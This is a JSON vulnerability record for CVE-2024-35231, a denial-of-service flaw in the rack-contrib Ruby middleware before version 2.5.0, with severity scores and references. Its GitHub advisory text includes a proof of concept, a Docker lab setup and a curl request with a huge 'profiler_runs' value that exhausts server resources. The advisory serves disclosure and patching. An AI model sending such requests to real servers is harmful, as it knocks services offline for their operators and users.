{"id":"CVE-2024-35231","aliases":["CVE-2024-35231","GHSA-8c8q-2xw3-j869"],"related":[],"kind":"vulnerability","state":"published","title":"rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter","summary":"rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).\n\n```ruby\n        runs = (request.params['profiler_runs'] || @times).to_i\n        result = @profile.profile do\n          runs.times { @app.call(env) }\n        end\n```\n\nAn exploit as such `curl --fail \"http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time\"` may cause resource exhaution by a remotely controlled value.\n\n### PoC\n\nHerein the `config.ru` file: \n\n```ruby\nrequire 'rack'\nrequire 'rack/contrib'\n\nuse Rack::Profiler # if ENV['RACK_ENV'] == 'development'\n\n# Define a Rack application\napp = lambda do |env|\n  # Your application logic goes here\n  [200, {}, [\"Hello World\"]]\nend\n\n# Run the Rack application\nrun app\n```\n\nA Dockerfile:\n\n```Dockerfile\n# Use the official Ruby image as a base\nFROM ruby:latest\n\n# Set the working directory inside the container\nWORKDIR /app\n\n# Copy the custom config.ru file into the container\nCOPY config.ru .\nCOPY Gemfile .\n\n# Install rack and the gems needed to run the app\nRUN bundle install\n\n# Expose the port that rackup will listen on\nEXPOSE 9292\n\n# Run rackup when the container starts\nENTRYPOINT [\"rackup\",\"--host\",\"0.0.0.0\",\"--port\",\"9292\"]\n\n# Health check\nHEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1\n\n```\n\nA Gemfile \n\n```\nsource 'https://rubygems.org'\n\ngem 'rack', '~> 2.0'\ngem 'rack-contrib', '~> 2.4'\ngem 'rackup'\ngem 'ruby-prof'\n```\n\nA Docker compose\n\n```Dockerfile\nservices:\n  app:\n    build:\n      context: .\n    ports:\n      - \"9292:9292\"\n```\n\nTo run the PoC \n\n```bash\ndocker compose up --build\n```\n\nTo exploit DoS: \n\n```bash\ncurl  \"http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time\"\n```\n\n### Impact\n - Potential denial of service by remotely user-controlled data.","format":"markdown","source":"ghsa"},{"lang":"es","text":"rack-contrib proporciona middleware y utilidades de rack para Rack, una interfaz de servidor web Ruby. Las versiones de rack-contrib anteriores a la 2.5.0 son vulnerables a la denegación de servicio debido al hecho de que los datos controlados por el usuario \"profiler_runs\" no estaban sujetos a ninguna limitación. Esto conduciría a la asignación de recursos en el lado del servidor sin limitación y a una posible denegación de servicio mediante datos controlados remotamente por el usuario. La versión 2.5.0 contiene un parche para el problema.","source":"nvd"}],"published":"2024-05-27T16:40:08.678Z","modified":"2026-09-10T03:50:13.574Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","score":8.6,"rating":"HIGH"}],"cwes":["CWE-770"],"affected":[{"ranges":[{"version":"< 2.5.0","status":"affected"}],"vendor":"rack","product":"rack-contrib","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","lastAffected":"2.4","status":"affected"}],"vendor":"rack","product":"rack-contrib","cpe":"cpe:2.3:a:rack:rack-contrib:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.5.0"}],"ecosystem":"RubyGems","package":"rack-contrib","purl":"pkg:gem/rack-contrib","source":"ghsa"}],"references":[{"url":"https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869","tags":["web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7","tags":["web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35231","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/rack/rack-contrib","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-contrib/CVE-2024-35231.yml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2024-05-28T16:15:04.828Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-35231","url":"https://www.cve.org/CVERecord?id=CVE-2024-35231","licence":"CVE Terms of Use","modified":"2024-08-02T03:07:46.936Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8c8q-2xw3-j869","url":"https://github.com/advisories/GHSA-8c8q-2xw3-j869","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:13.574Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-35231","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35231","licence":"Public domain","modified":"2026-06-17T07:34:35.400Z"}],"updatedAt":"2026-11-25T22:58:40.947Z","epss":{"score":0.00668,"percentile":0.53159,"date":"2026-12-01T12:00:22.000Z"}}